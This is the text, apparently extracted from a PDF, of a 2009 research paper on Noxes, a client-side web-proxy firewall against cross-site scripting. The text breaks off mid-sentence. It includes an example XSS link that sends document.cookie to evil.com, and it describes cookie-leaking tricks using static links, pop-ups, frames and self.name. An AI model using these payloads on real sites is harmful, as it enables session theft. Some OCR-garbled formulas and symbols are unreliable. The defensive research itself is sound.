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Web applications are becoming the dominant way to provide access to online services. At

the same time, web application vulnerabilities are being discovered and disclosed at an

alarming rate. Web applications often make use of JavaScript code that is embedded into

web pages to support dynamic client-side behavior. This script code is executed in the

context of the user’s web browser. To protect the user’s environment from malicious

JavaScript code, browsers use a sand-boxing mechanism that limits a script to access only

resources associated with its origin site. Unfortunately, these security mechanisms fail if

a user can be lured into downloading malicious JavaScript code from an intermediate,

trusted site. In this case, the malicious script is granted full access to all resources (e.g.,

authentication tokens and cookies) that belong to the trusted site. Such attacks are called

cross-site scripting (XSS) attacks.

In general, XSS attacks are easy to execute, but difficult to detect and prevent. One reason

is the high flexibility of HTML encoding schemes, offering the attacker many possibilities

for circumventing server-side input filters that should prevent malicious scripts from being

injected into trusted sites. Also, devising a client-side solution is not easy because of the

difficulty of identifying JavaScript code as being malicious. This paper presents Noxes,

which is, to the best of our knowledge, the first client-side solution to mitigate cross-site scripting

attacks. Noxes acts as a web proxy and uses both manual and automatically generated rules

to mitigate possible cross-site scripting attempts. Noxes effectively protects against

information leakage from the user’s environment while requiring minimal user interaction

and customization effort.

ª 2009 Elsevier Ltd. All rights reserved.

1. Introduction

Web applications are becoming the dominant way to provide
access to online services. At the same time, web application
vulnerabilities are being discovered and disclosed at an
alarming rate. The JavaScript language (Flanagan, 2001) is
widely used to enhance the client-side display of web pages.
JavaScript was developed by Netscape as a light-weight

scripting language with object-oriented capabilities and was
later standardized by ECMA (ECMA-262, 1999). Usually,
JavaScript code is downloaded into browsers and executed on-
the-fly by an embedded interpreter. However, JavaScript code
that is automatically executedmay represent a possible vector
for attacks against a user’s environment.

Secure execution of JavaScript code is based on a sand-
boxing mechanism, which allows the code to perform
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a restricted set of operations only. That is, JavaScript

programs are treated as untrusted software components that
have only access to a limited number of resources within the
browser. Also, JavaScript programs downloaded from
different sites are protected from each other using a com-
partmentalizing mechanism, called the same-origin policy.
This limits a program to only access resources associated
with its origin site. Even though JavaScript interpreters had
a number of flaws in the past, nowadays most web sites take
advantage of JavaScript functionality. The problem with the
current JavaScript security mechanisms is that scripts may
be confined by the sand-boxing mechanisms and conform to

the same-origin policy, but still violate the security of
a system. This can be achieved when a user is lured into
downloading malicious JavaScript code (previously created
by an attacker) from a trusted web site. Such an exploitation
technique is called a cross-site scripting (XSS) attack (CERT,
2000; Endler, 2002).

For example, consider the case of a user who accesses the
popular www.trusted.com web site to perform sensitive oper-
ations (e.g., online banking). The web-based application on
trusted.com uses a cookie to store sensitive session informa-
tion in the user’s browser. Note that, because of the same-

origin policy, this cookie is accessible only to JavaScript code
downloaded from a trusted.com web server. However, the user
may also be browsing a malicious web site, say evil.com, and
could be tricked into clicking on the following link:

<a href¼"http://trusted.com/

<script>

document.location¼
‘http://evil.com/steal-cookie.php?’;

þdocument.cookie

</script>">

Click here to collect prize.

</a>

When the user clicks on the link, an HTTP request is sent
by the user’s browser to the trusted.comweb server, requesting
the page

<script>

document.location¼
‘http://evil.com/steal-cookie.php?’;

þdocument.cookie

</script>

The trusted.comweb server receives the request and checks
if it has the resource which is being requested. When the
trusted.com host does not find the requested page, it will return
an error message. The web server may also decide to include
the requested file name in the return message to specify
which file was not found. If this is the case, the file name
(which is actually a script) will be sent from the trusted.com

web server to the user’s browser and will be executed in the
context of the trusted.com origin. When the script is executed,
the cookie set by trusted.com will be sent to the malicious web
site as a parameter to the invocation of the steal-cookie.php
server-side script. The cookie will be saved and can later be
used by the owner of the evil.com site to impersonate the

unsuspecting user with respect to trusted.com. Fig. 1 describes

this attack scenario.
The example above shows that it is possible to compromise

the security of a user’s environment even though neither the
sand-boxing nor the same-origin policy were violated.

Unfortunately, vulnerabilities that can be exploited by XSS
attacks are common. For example, by analyzing the Common
Vulnerabilities and Exposures entries (including candidate
entries) from 2001 to 2009 (Common Vulnerabilities, 2005), we
identified 4541 cross-site scripting vulnerabilities. Note that
this is only a partial account of the actual number of XSS
vulnerabilities, since there are a number of ad hoc web-based

applications that have been developed internally by compa-
nies to provide customized services. Many of the security
flaws in these applications have not yet been discovered or
made public.

One reason for the popularity of XSS vulnerabilities is that
developers of web-based applications often have little or no
security background. Moreover, business pressure forces
these developers to focus on the functionality for the end-user
and to work under strict time constraints, without the
resources (or the knowledge) necessary to perform a thorough
security analysis of the applications being developed. The

result is that poorly developed code, riddled with security
flaws, is deployed and made accessible to the whole Internet.

Currently, XSS attacks are dealt with by fixing the server-
side vulnerability, which is usually the result of improper
input validation routines. While being the obvious course of
action, this approach leaves the user completely open to
abuse if the vulnerable web site is not willing or able to fix the
security issue. For example, this was the case for e-Bay, in
which a known XSS vulnerability was not fixed for months
(Kossel, 2004).

A complementary approach is to protect the user’s envi-

ronment from XSS attacks. This requires means to discern
malicious JavaScript code downloaded from a trusted web site
from normal JavaScript code, or techniques to mitigate the
impact of cross-site scripting attacks.

This paper presents Noxes, the first client-side solution to
mitigate cross-site scripting attacks. Noxes acts as a web

Fig. 1 – A typical cross-site scripting scenario.
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proxy and uses both manually and automatically generated

rules to block cross-site scripting attacks. Noxes provides
protection against compromise of a user’s environment while
requiring minimal user interaction and customization.

The contributions of this paper are as follows:

1. We describe the implementation of the first client-side solu-
tion that leverages the idea of personal firewalls and
provides increased protection of the user with respect to
XSS attacks.

2. A straightforward implementation of an XSS web firewall
would significantly impact a userwho is surfing theweb. To

remedy this limitation, we present a number of techniques
thatmake the use of a web firewall viable in practice. These
techniques balance the risk of leaking (parts of) sensitive
information with the inconvenience that a user may
experience.

3. A comprehensive discussion of possible mechanisms that
an attacker can utilize to bypass our protection and coun-
termeasures that close these attack venues.

The rest of this paper is structured as follows. In Section 2,
we introduce different types of XSS attacks. In Section 3, we

present the Noxes tool. Section 4 describes the technique that
is used by Noxes to identify possible malicious connections.
Then, in Section 5, we describe the experimental evaluation of
the tool. In Section 6, we present related work on this topic.
Section 7 provides details on the current prototype imple-
mentation and outlines future work. Finally, Section 8 briefly
concludes.

2. Types of XSS attacks

Three distinct classes of XSS attacks exist: DOM-based attacks,
stored attacks, and reflected attacks (Cook, 2003). In a storedXSS
attack, themalicious JavaScript code is permanently stored on
the target server (e.g., in a database, in a message forum, or in
a guestbook). In a DOM-based attack, the vulnerability is based
on the Document Object Model (DOM) of the page. Such an
attack can happen if the JavaScript in the page accesses a URL
parameter and uses this information to write HTML to the

page. In a reflected XSS attack, on the other hand, the injected
code is ‘‘reflected’’ off the web server, such as in an error
message or a search result that may include some or all of the
input sent to the server as part of the request. Reflected XSS
attacks are delivered to the victims via e-mail messages or
links embedded on other web pages. When a user clicks on
a malicious link or submits a specially crafted form, the
injected code travels to the vulnerable web application and is
reflected back to the victim’s browser (as previously described
in the example in Section 1).

The reader is referred to (CERT, 2000) for information on the
wide range of possible XSS attacks and the damages the

attackermay cause. There are a number of input validation and
filtering techniques that web developers can use in order to
prevent XSS vulnerabilities (CERT, 2005; Cook, 2003). However,
theseareserver-side solutionsoverwhich the end-userhasno control.

The easiest and the most effective client-side solution to
the XSS problem for users is to deactivate JavaScript in their

browsers. Unfortunately, this solution is often not feasible

because a large number of web sites uses JavaScript for
navigation and enhanced presentation of information. Thus,
a novel solution to the XSS problem is necessary to allow
users to execute JavaScript code in a more secure fashion. As
a step in this direction, we present Noxes, a personal web
firewall that helps mitigate XSS attacks (Note that Noxes
focuses on the mitigation of stored and reflected XSS attacks.
The less common DOM-based XSS attacks are outside the
scope of this paper).

3. The Noxes tool

Noxes is a Microsoft-Windows-based personal web firewall
application that runs as a background service on the desktop
of a user. The development of Noxeswas inspired byWindows
personal firewalls that are widely used on PCs and notebooks
today. Popular examples of such firewalls are Tiny (Tiny
Software, 2005), ZoneAlarm (Zone Labs, 2005), Kerio (Kerio,

2005) and Norton Personal Firewall (Symantec, 2005).
Personal firewalls provide the user with fine-grained

control over the incoming connections that the local machine
is receiving and the outgoing connections that running
applications are making. The idea is to block and detect mal-
ware such asworms and spyware, and to protect users against
remotely exploitable vulnerabilities. Personal firewalls are
known to be quite effective in mitigating certain types of
security threats such as exploit-based worm outbreaks.
Microsoft has realized the benefits of personal firewalls and is
now providing a built-in firewall forWindows XP since Service

Pack 2 (SP2).
Typically, a personal firewall prompts the user for action if

a connection request is detected that does not match the
firewall rules. The user can then decide to block the connec-
tion, allow it, or create a permanent rule that specifies what
should be done if such a request is detected again in the
future.

Although personal firewalls play an essential role in pro-
tecting users from a wide range of threats, they are ineffective
against web-based client-side attacks, such as XSS attacks.
This is because in a typical configuration, the personal firewall

will allow the browser of the user to make outgoing connec-
tions to any IP address with the destination port of 80 (i.e.,
HTTP) or 443 (i.e., HTTPS). Therefore, an XSS attack that
redirects a login form from a trusted web page to the attack-
er’s server will not be blocked.

Noxes provides an additional layer of protection that
existing personal firewalls do not support. The main idea is to
allow the user to exert control over the connections that the
browser is making, just as personal firewalls allow a user to
control the Internet connections received by or originating
from processes running on the local machine.

Noxes operates as a web proxy that fetches HTTP requests

on behalf of the user’s browser. Hence, all web connections of
the browser pass through Noxes and can either be blocked or
allowed based on the current security policy.

Analogous to personal firewalls, Noxes allows the user to
create filter rules (i.e., firewall rules) for web requests. There
are three ways of creating rules:
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1. Manual creation. The user can open the rule database

manually and enter a set of rules. When entering a rule, the
user has the possibility of using wild cards and can choose
to permit or deny requests matching the rule. For example,
a permit rule like www.yahoo.com* allows all web requests
sent to the domain www.yahoo.com, while a deny rule
such as www.tuwien.ac.at/images* blocks all requests to the
‘‘images’’ directory of the domain www.tuwien.ac.at.

2. Firewall prompts. The user can interactively create a rule
whenever a connection request is made that does not
match any existing rule, in a way similar to what is
provided by most personal firewalls. For example, if no rule

exists for the request www.news.yahoo.com/index.html, the
user is shown a dialog box to permit or deny the request.
The user can also use a pop-up list for creating a rule from
a list of possible general rules such as www.news.yahoo.
com/*, *.news.yahoo.com/* or *.yahoo.com/*. In addition, the
user can specify if the rule being created should be
permanent or should just be active for the current browsing
session only. Temporary rules are useful for web sites that
the user does not expect to visit often. Hence, having
temporary rules helps prevent the rule-base from growing
too large, and at the same time reduces the number of

prompts that the user will receive because of web requests
to unknown web sites.

3. Snapshot mode. The user can use the special snapshot mode
integrated into Noxes to create a ‘‘browsing profile’’ and to
automatically generate a set of permit rules. The user first
starts by activating the snapshot mode and then starts
surfing.When the snapshotmode is activated, Noxes tracks
and collects the domains that have been visited by the
browser. The user can then automatically generate
permanent filter rules based on the list of domains
collected during a specific session.

Note that after new rules have been created, the user can
modify or delete the rules as she sees fit.

A personal web firewall, in theory, will help mitigate XSS
attacks because the attacker will not be able to send sensitive
information (e.g., cookies or session IDs) to a server under her
control without the user’s knowledge. For example, if the
attacker is using injected JavaScript to send sensitive infor-
mation to the server evil.com, the tool will raise an alarm
because no filter rule will be found for this domain. Hence, the
user will have the opportunity to check the details of this
connection and to cancel the request.

4. Detecting XSS attacks

Unfortunately, a web firewall as described previously is not
particularly usable in practice because it raises an unaccept-
ably large number of alerts and requires excessive user
interaction. Consider the example of a user that queries

a search engine to find some information about a keyword and
has received a list of relevant links. Each time the user selects
one of the links, she is directed to a new, possibly unknown
web site and she is prompted for action. Clearly, it is
cumbersome and time-consuming for the user to createmany
new rules each time she searches for something.

Unlike a personal firewall, which will have a set of filter

rules that do not change over a long period of time, a personal
web firewall has to deal with filter rule sets that are flexible;
a result of the highly dynamic nature of the web. In a tradi-
tional firewall, a connection being opened to an unknown port
by a previously unknown application is clearly a suspicious
action. On the web, however, pages are linked to each other
and it is perfectly normal for a web page to have links to web
pages in domains that are unknown to the user. Hence,
a personal web firewall that should be useful in practice must
support some optimization to reduce the need to create rules.
At the same time, the firewall has to ensure that security is not

undermined.
An important observation is that all links that are statically

embedded in a web page can be considered safe with respect to
XSS attacks. That is, the attacker cannot directly use static
links to encode sensitive user data. The reason is that all static
links are composed by the server before any malicious code at
the client can be executed. An XSS attack, on the other side,
can only succeed after the page has been completely retrieved
by the browser and the script interpreter is invoked to execute
malicious code on that page. In addition, all local links can
implicitly be considered safe as well. An adversary, after all,

cannot use a local link to transfer sensitive information to
another domain; external links have to be used to leak infor-
mation to other domains.

Based on these observations, we extended our systemwith
the capability to analyze all web pages for embedded links.
That is, every time Noxes fetches a web page on behalf of the
user, it analyzes the page and extracts all external links
embedded in that page. Then, temporary rules are inserted
into the firewall that allow the user to follow each of these
external links once without being prompted. Because each
statically embedded link can be followed without receiving

a connection alert, the impact of Noxes on the user is signif-
icantly reduced. Links that are extracted from the web page
include HTML elements with the href and src attributes and
the url identifier in Cascading Style Sheet (CSS) files. The filter
rules are stored with a time stamp and if the rule is not used
for a certain period of time, it is deleted from the list by
a garbage collector.

Using the previously described technique, all XSS attacks
can be prevented in which a malicious script is used to
dynamically encode sensitive information in a web request to
the attacker’s server. The reason is that there exists no
temporary rule for this request because no corresponding

static link is present in the web page. Note that the attacker
could still initiate a denial-of-service (DoS) XSS attack that
does not transfer any sensitive information. For example, the
attack could simply force the browser window to close. Such
denial-of-service attacks, however, are beyond the scope of
our work as Noxes solely focuses on the mitigation of the
more subtle and dangerous class of XSS attacks that aim to
steal information from the user. It is also possible to launch an
XSS attack and inject HTML code instead of JavaScript. Since
such attacks pose no threat to cookies and session IDs, they
are no issue for Noxes.

Fig. 2 shows an example page. When this page is analyzed
by Noxes, temporary rules are created for the URLs http://
example.com/1.html (line 4), http://example2.com/2.html (line 6)
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and http://external.com/image.jpg (line 8). The local links
/index.html and /services.html (lines 11 and 12) are ignored.

When Noxes receives a request to fetch a page, it goes
through several steps to decide if the request should be
allowed. It first uses a simple technique to determine if
a request for a resource is a local link. This is achieved by
checking the Referer HTTP header and comparing the domain
in the header to the domain of the requested web page.
Domain information is determined by splitting and parsing
URLs (the ‘‘.’’ character in the domain name is used for split-
ting). For example, the hosts client1.tucows.com and www.
tucows.com will both be identified by Noxes as being in the
domain tucows.com. If the domains are found to be identical,

the request is allowed.
If a request being fetched is not in the local domain, Noxes

then checks to see if there is a temporary filter rule for the
request. If there is a temporary rule, the request is allowed. If
not, Noxes checks its list of permanent rules to find a match-
ing rule. If no rules are foundmatching the request, the user is
prompted for action and can decide manually if the request
should be allowed or blocked.

4.1. Reliability of the Referer header

Asmentioned in the previous section, Noxesmakes use of the

HTTP Referer header to determine whether a link is local or
not. This raises the question whether an attacker could
tamper with this header. If an attacker were able to tamper
with the Referer header, she could disguise a dangerous
remote link as a harmless local link and steal sensitive user
information. Fortunately, using the Referer header is safe
because the attacker has no means of spoofing or changing it.
The reason is that JavaScript does not allow the Referer HTTP
header to be modified (more specifically, JavaScript error
messages are generated by Internet Explorer, Mozilla, and
Opera in case of such accesses).

Apart from the question whether an attacker is able to

modify the Referer header (which is not possible), another
issue is under which conditions the Referer header is present
in a request. According to the HTTP specification, this header
is optional. However, all popular browsers such as the Internet
Explorer, Opera, and Mozilla make use of it. Note that the
Referer header is regularly missing in a request in two cases: (i)

when a user manually types the target URL into the browser’s

location bar, or (ii) when she clicks on a link inside an email.
Noxes always allows requestswithout a Referer header to pass,
which is safe in both of the cases above because the corre-
sponding requests cannot contain sensitive information, even
when the request causes malicious JavaScript to be loaded.
Fig. 3 illustrates this observation: When the user types in
a URL or clicks on a link inside an email, a request without
a Referer header is sent to the vulnerable server. The server
then returns the requested page containing malicious Java-
Script. As soon as this malicious code attempts to transmit
sensitive data to the attacker’s server, the Referer header is

present again. Hence, the defense mechanisms of Noxes apply
and can prevent the attack at this point.

Some users have privacy concerns with regard to the
Referer header, since they do not wish to provide information
to the target server about how they have reached this page.
Such users tend to disable the transmission of the Referer
header, a feature that is easily accessible in modern browsers.
The solution to this problem is straightforward: Noxes could
first re-enable the transmission of the Referer header in the
browser and, as a result, would possess the information that is
necessary for shielding the user against XSS attacks. To

protect the user’s privacy, Noxes could then remove the
Referer header from the request that is forwarded to the
destination server. This way, both privacy and security
requirements can be satisfied.

4.2. Handling POST requests

The explanations so far only applied to GET requests, in which
the data to be transmitted is encoded as part of the URL. POST
requests, which are typically generated by users who fill out
and submit HTML forms, are treated by Noxes in a different
way under certain conditions. For local requests, there is no
difference in the handling of GET and POST requests: In
accordance to the previous discussion of local links, Noxes
allows all local POST requests to pass. However, if Noxes
detects that a POST request is non-local (i.e., a cross-domain
posting), it always prompts the user to verify whether this

request was really intended.

Fig. 2 – An example HTML page.

Fig. 3 – Protection in case of empty Referer header.
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An immediate justification for the conservative treatment

of non-local POST requests is that cross-domain postings are
rather seldom in practice, and highly suspicious due to their
ability to transfer sensitive information to an attacker’s
domain. Another reason for this measure is that, to the best of
our knowledge, reliably distinguishing between legitimate
and illegitimate POST requests is very difficult, perhaps even
impossible. This problem is illustrated by the following
example. Consider a user that requests a vulnerable page from
a trusted server. By exploiting an XSS vulnerability, an
attacker has managed to inject a static HTML form into this
page (see Fig. 4). This malicious form is designed to mimic

a legitimate form that is used, in this example, for submitting
postings to another trusted server hosted under a different
domain. Since a duplicate form in the user’s browser window
would be rather suspicious, the attacker could hide the legit-
imate form by means of JavaScript code. When the user
submits the malicious form, another piece of JavaScript could
replace the user’s inputs with sensitive data, which is then
sent to evil.com instead of to the trusted server. Obviously, the
static link approach that Noxes applies for GET requests is not
suitable for POST requests, as they separate the target URL
(i.e., the form’s action attribute) from the transmitted data

(whereas GET requests embed the data directly into the URL).
One possibility for handling this issue would be to extend
Noxes with a tool integrated into the browser that can detect
whether a POST request contains dynamic data. Such an
extension would only allow static information and input that
was really typed in by the user to appear in a POST request.
However, this solution comeswith two drawbacks. First, some
web sites might be enhancing legitimate forms with dynamic
features to improve user experience (e.g., Google Suggest
(Google, 2006)), resulting in false alarms. Second, even in the
absence of dynamic content, the user is still advised to check

whether the target of the submitted form really corresponds
to what she expected. For instance, an attacker could also
statically mimic a login form that eventually sends the user’s
password to evil.com (a case of phishing by exploiting an XSS
vulnerability).

To summarize, the conservative treatment of cross-
domain postings is justified by the following two arguments:

1. Cross-domain postings occur very rarely in practice, and
are suspicious whenever they do occur.

2. Automatically distinguishing between legitimate and ille-
gitimate POST requests is, so far, an unsolved problem.

We are confident that the minor amount of inconvenience
for the user is clearly outweighed by the security gain that is
achieved with Noxes.

4.3. Mitigating advanced XSS attacks

The previously described technique allows Noxes to detect
and prevent XSS attacks that encode sensitive values
dynamically into the URLs requested from a malicious server.
However, a sophisticated attacker could attempt to bypass our
protection mechanism, mainly using two different
approaches. In one approach, external, static links already
present in the documents could be exploited to leak infor-
mation. In the following sections, we first consider a number

of ways in which static links can be used to encode sensitive
information, and we determine the maximum amount of bits
per request that an attacker can leak. Based on this upper
bound, we propose a defense mechanism that limits the
amount of information that can be stolen by any single XSS
attack. In Section 4.3.5, we discuss a second approach in
which the attacker makes use of JavaScript on the client side
to leak sensitive information from one browser window into
a second one. The idea is that for this second window, Noxes
imposes less restrictions and information can be transferred
more freely to the attacker. The following text explains both
attack venues in more detail and shows how they can be

closed.

4.3.1. Binary encoding attacks
In the discussions so far, links that are statically embedded in
an HTML page were considered safe. Unfortunately, this
approach suffers from a security vulnerability. To see this,
consider an attacker that embeds a large number of specially
crafted, static links into the web page of the trusted site (in

addition to the malicious script). Then, when the script is
executed at the client’s browser, these links can be used to
encode the sensitive information. For example, the script
could execute a simple loop to send cookie or session ID
information bit-by-bit to a server under the attacker’s control,
using one previously embedded static link for each bit.

Fig. 5 shows the pseudo code for this attack. Suppose that
the cookie consists of 100 bits. The attacker first inserts 100
unique pairs of static image references to her own domain
(lines 3–9). The image references need to be unique because,
as discussed previously, Noxes creates a temporary rule for

each URL and promptly deletes it once it has been used. In the
next step of the attack, the attacker goes through the cookie
value bit-by-bit and uses the static references she has previ-
ously embedded to ‘‘encode’’ the sensitive information (lines
11–23). Because the attacker only uses static references in the
page, the corresponding requests would be allowed by Noxes’
temporary rule set. As a consequence, the attacker can
reconstruct the cookie value one bit at a time by checking and
analyzing the logs of the web server at evil.com.

To address this type of XSS attack, an earlier version of
Noxes that we presented in (Kirda et al., 2006) takes the

following measures: it only allows a maximum of k links to the
same external domain, where k is a customizable threshold. If
there are more than k links to an external domain on a page,
none of them will be allowed by Noxes without user permis-
sion. Hence, each successful attack in which two links are
used to encode a single bit value (one link to represent that
this bit is 0, one link to represent that this bit is 1) will be able
to leak only k/2 bits of sensitive information. For example,

Fig. 4 – An injected form mimicking a legitimate message
posting form.
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when k is 4, the attackerwould have tomake the victim visit at

least 50 vulnerable pages to successfully steal a cookie that
consists of 100 bits (leaking 4=2 ¼ 2 bits per page visit). Clearly,
such an attack is very difficult to perform. Note that an
alternative for the attacker would be to send a request for a bit
only when its value is 1. If the bit is 0, the absence of a request
can be used to infer the correct value. This way, he could
reduce the number of vulnerable pages that the victim would
have to visit from 50 to 25, which would still be a very difficult
challenge for the attacker.

In our prototype implementation, described in (Kirda et al.,
2006), we used a default value of 4 for the k threshold. Our

premise was that a majority of web pages will not have more
than 4 links to the same external domain and thus, will not
cause connection alert prompts (see the evaluation presented
in (Kirda et al., 2006) for a discussion on the influence of
different values of k on the reduction of connection alert
prompts).

4.3.2. Attacks based on N-ary alphabets
In binary encoding attacks, every link provided by the attacker
is used to represent one bit. However, there is an even more
advanced type of encoding-based attack in which the amount

of information that is transmitted by a single link can be larger
than just one bit. Intuitively, this can be demonstrated by the
following extreme example: an attacker could inject a huge
number of different static links into the vulnerable page, such
that each link corresponds to a complete cookie value. This way, it
would be sufficient for the attacker to issue just a single
request in order to steal the complete cookie. Hence, one link
would encode far more than just one bit of information. Of
course, the enormous number of links that needs to be
injected for that purpose make this particular attack infea-
sible. Consider a smaller example: an attacker manages to

inject eight static links (denoted as a through h) pointing to her

own domain. If the attacker issues just one request to one of

these targets, she can use the following mapping between the
selected link and the transferred bits: a1 000, b1 001,
c1 010, ., and h1 111. Hence, one link is capable of
encoding three bits instead of one. Analogously, if the attacker
chooses to issue two requests (such as ac or hb), a combination
of two links is able to encode 56 distinct values (since there are
56 possibilities for choosing two elements from an eight-
element set). This corresponds to an information amount of
5.8 (ld(56)) bits that can be transmittedwith two requests. Note
that since Noxes deletes a temporary rule for a static link after
it has been used, the attacker cannot issue requests such as aa

or cc. Moreover, the order of the requests is relevant (that is, ab
encodes a different value than ba). In this sense, the links
injected by the attacker represent the symbols of an alphabet
for transmitting information, where each symbol can be used
only once. This implies that an upper bound for the amount of
information that can be transmitted via rd requests given an
alphabet of nd static links to the attacker’s domain d is equal
to:

Id ¼
!

0 if rd ¼ 0
nd !

ðnd$rdÞ
if rd > 0 ðrd & ndÞ: (1)

The corresponding number of bits that can be leaked is
computed as ld(Id). Note that Equation 1 represents the
combinatorial formula that calculates the number of permu-
tations (Id, in this case) of objects without repetition.

Table 1 lists the information that can be transmitted using
a base alphabet consisting of eight elements. Table 2 shows
a slight variation that is based on only four elements. By
comparing these two tables, it is obvious that a larger number
of elements (statically embedded links) means that more
information can be transmitted with fewer requests: With

nd¼ 8, five bits can be transmitted with two requests, whereas
with nd¼ 4, only three bits can be transmitted with two
requests.

Of course, such attacks can bemitigated by the k-threshold
approach introduced in the previous section (and described in
(Kirda et al., 2006)). With a threshold value of 4, an attacker
would be able to leak one of 24 distinct values (corresponding
to slightly more than 4 bits) according to Table 2. Compared to
the binary attack, where the attackerwas able to leak exactly 4
bits (one of 16 distinct values), this is only a minor improve-
ment for the attacker, which can be neglected.

Fig. 5 – Pseudo code for a possible JavaScript loop attack for
stealing cookie information.

Table 1 – Information that can be transmitted by issuing
rd requests based on an alphabet with eight symbols
(nd[ 8).

Requests Information
(distinct values)

Information
(bits, rounded)

1 8 3
2 56 5
3 336 8
4 1680 10
5 6720 12
6 20160 14
7 40320 15
8 40320 15
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Note that, in theory, it might be possible for the attacker to
further increase the amount of information that is encoded by
one link. The attacker could, for example, attempt to use
timing information to encode bit values, issuing a request
exactly at 12:22 to express a value of 01101010. In this case, the
main difficulty for the attacker is that the clocks between the
computers have to be synchronized. Hence, such an attack is
extremely difficult to launch. These covert channel attacks are
beyond the scope of our work, especially considering that
most XSS attacks are launched against a large number of

random users. However, our proposed technique makes such
attacks more difficult, and, thus, it raises the bar for the
attacker in any case.

4.3.3. Dynamically enhanced protection mechanism
With the explanations given in the previous section, we are
now able to construct an enhanced protection mechanism
based on the following observation: Even if a page contains
more than k links to some external domain, it might still be
safe for the user to click a small number of these links without
leaking too much information. For instance, if there are eight
external links, the user would only leak 3 bits when issuing

the first request to this domain (according to Table 1). Hence, it
is overly conservative to prompt the user already for this first
request (as the amount of information that can leak is
limited). The question is, however, how many requests shall
Noxes allow before issuing a warning? To answer this ques-
tion, we can simply use Equation 1 from the previous section.
With a given number of static links to an attacker’s domain
and a (customizable) amount of information that we accept to
be leaked, we can compute the number of requests that Noxes
should allow to this domain. For example, assume that Noxes
detects eight static links to the same external domain, and we

do not wish that more than eleven bits of the user’s cookie
leak to this domain. By consulting Table 1, we see that under
these conditions, Noxes permits four requests to this domain
before the user is prompted.

The presented approach against attacks based on n-ary
alphabets can also be used to mitigate the previously
described attack based on simple binary encodings (from
Section 4.3.1). This enhanced approach has a clear advantage
compared to our previous k-threshold technique. For
instance, if a page contains eight static links to an external
domain, the previous technique (with a threshold value of

k¼ 4) would not allow the user to click any of these links
without being prompted. Now, as mentioned above, we can
compute that it is safe for the user to click four of these links
without risking that a significant fraction of her cookie is
leaked. Thus, we are able to further increase the usability of
Noxes by reducing the number of prompts that the user is

confronted with. This enhancement is achieved by supple-

menting the previous static analysis of links contained in
server replies with two mechanisms: The dynamic computa-
tion of the maximum number of permitted requests, and the
observation of the requests actually performed.

4.3.4. Multi-domain attacks
Apart from an improvement in user experience, the mitiga-
tion technique presented in the previous section is also able to
thwart multi-domain attacks. In the examples given so far, we
have implicitly assumed that the attacker possesses only one
domain that she can use as destination for stealing informa-

tion. However, an attacker could as well obtain multiple
different domains. This way, she could keep her statically
embedded links under the radar of our initial k-threshold
approach. In Fig. 6, the attacker divides eight links across four
domains (evil1.com through evil4.com). Since none of these
domains is pointed to by more than four links, this attack
would not be detected by the k-threshold approach.

To ensure protection against multi-domain attacks, all we
have to do is to replace Equation 1 by the following, slightly
modified version:

I ¼
!

0 if r ¼ 0
n!

ðn$rÞ! if r > 0 ðr & nÞ (2)

That is, instead of domain-specific tracking (using Id, nd, and
rd), we are now concerned with the aggregated numbers over
all external domains: n denotes the total number of statically
embedded external links in a page, r is the number of requests
to any of these links, and I is the total amount of information
that can be leaked to these external domains. Thus, the given
example (from Fig. 6) is treated analogously to the explana-
tions from the previous section: By consulting Table 1 again,

we see that the user is not allowed to issue more than four
requests to any external domain if the total information leakage
must not exceed eleven bits.

4.3.5. JavaScript-based attacks
Another way in which an attacker could try to circumvent
Noxes’ defense mechanisms is to make use of pop-up
windows. Fig. 7 shows the JavaScript code that an attacker
could inject into a vulnerable application in order to steal
cookie data. By calling JavaScript’s open() function, the
attacker creates a new pop-up window and initializes its

contents with her own file at http://evil.com/steal.php. To
prevent Noxes from generating a warning when steal.php is
loaded, the attacker simply has to inject an appropriate static
link along with the script shown in Fig. 7. The second
parameter of open() has the effect that the built-in JavaScript
name variable of the pop-up window receives the contents of

Table 2 – Information leakage with nd[ 4.

Requests Information
(distinct values)

Information
(bits, rounded)

1 4 2
2 12 3
3 24 4
4 24 4

Fig. 6 – Links for a multi-domain attack.
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the user’s cookies. At this point, the attacker has already
succeeded in transferring sensitive cookie data from the

original domain to her own domain. Inside the pop-up
window, Noxes would allow the attacker to establish any
connection to her own domain because all links in the pop-up
window would be from the attacker’s domain and would be
treated as being local. Hence, it would be easy for the attacker
to read the pop-up window’s name (i.e., the cookie value) and
send this value to a server under her control. Note that the
transfer of values to pop-up windows is not limited to the
name variable. With assignments such as the one shown on
line 3 in Fig. 7, an attacker can create arbitrary JavaScript
variables for the pop-up window.

There is a similar attack that achieves the same effect as
the pop-up attack (i.e., the transfer of sensitive values to
a foreign domain) through the misuse of frames. Fig. 8 shows
a simple frameset consisting of two frames. Assuming that
the frame f0.html is vulnerable to XSS, an attacker could inject
the JavaScript shown in Fig. 9 into this frame. On line 1, this
script sets the variable xyz of the parent frameset to the user’s
cookie. On line 2, the content of one of the frames is replaced
by the attacker’s file steal.php. In this file, the attacker has now
access to the previously defined variable xyz. The reason is
that steal.php now belongs to the frameset. Again, Noxes

would not issue any warnings if the attacker continued by
sending data to evil.com, since the transmission would be
local.

Tomitigate pop-up and frame-based attacks, Noxes injects
‘‘controlling’’ JavaScript code in the beginning of all web pages
that it fetches. More precisely, before returning a web page to
the requesting browser, Noxes automatically inserts Java-
Script code that is executed on the user’s browser. This script
checks if the page that is being displayed is a pop-up window
or a frame. If this is the case, the injected code checks the
Referer header of the page to determine if the pop-up window

or the frame has a ‘‘parent’’ that is from a different domain. If
the domains differ, an alertmessage is generated that informs
the user that there is a potential security risk. The user can
decide if the operation should be canceled or continued.
Fig. 10 depicts a snippet of the automatically injected Java-
Script code at the beginning of an HTML page that has been
fetched.

Because the injected JavaScript code is the first script on
the page, the browser invokes it before any other scripts.
Therefore, it is not possible for the attacker towrite code to cancel
or modify the operation of the injected JavaScript code.

Finally, there exists an additional attack that resembles the
pop-up and frame-based attacks. Fig. 11 shows the JavaScript

code that the attacker could inject. This attack is based on the
observation that reloading a page by means of the JavaScript
variable self.location.href resets all variables except self.name
(von Hatzfeld, 1999). Hence, a domain transfer of cookie data
can be achieved by assigning it to self.name on line 1, and then
loading an attacker’s page through self.location.href on line 2.
To address this problem, the ‘‘controlling’’ JavaScript provided
by Noxes is extendedwith an additional check. First, it verifies
whether the referrer’s domain differs from the domain of the
current page. If they are different, this is an indication of an
attempted value transfer to another domain. In this case,

Noxes also inspects the current window’s name, since this is
the only attribute that can be used for this purpose. If it is non-
empty, Noxes raises an alarm. Note the differences compared
to pop-up and frame-based attacks: The advantage (for an
attacker) is that no pop-ups or frames are required. The
disadvantage is that value transfer is only possible via self.-
name, and not via arbitrary variables (as it is the case for the
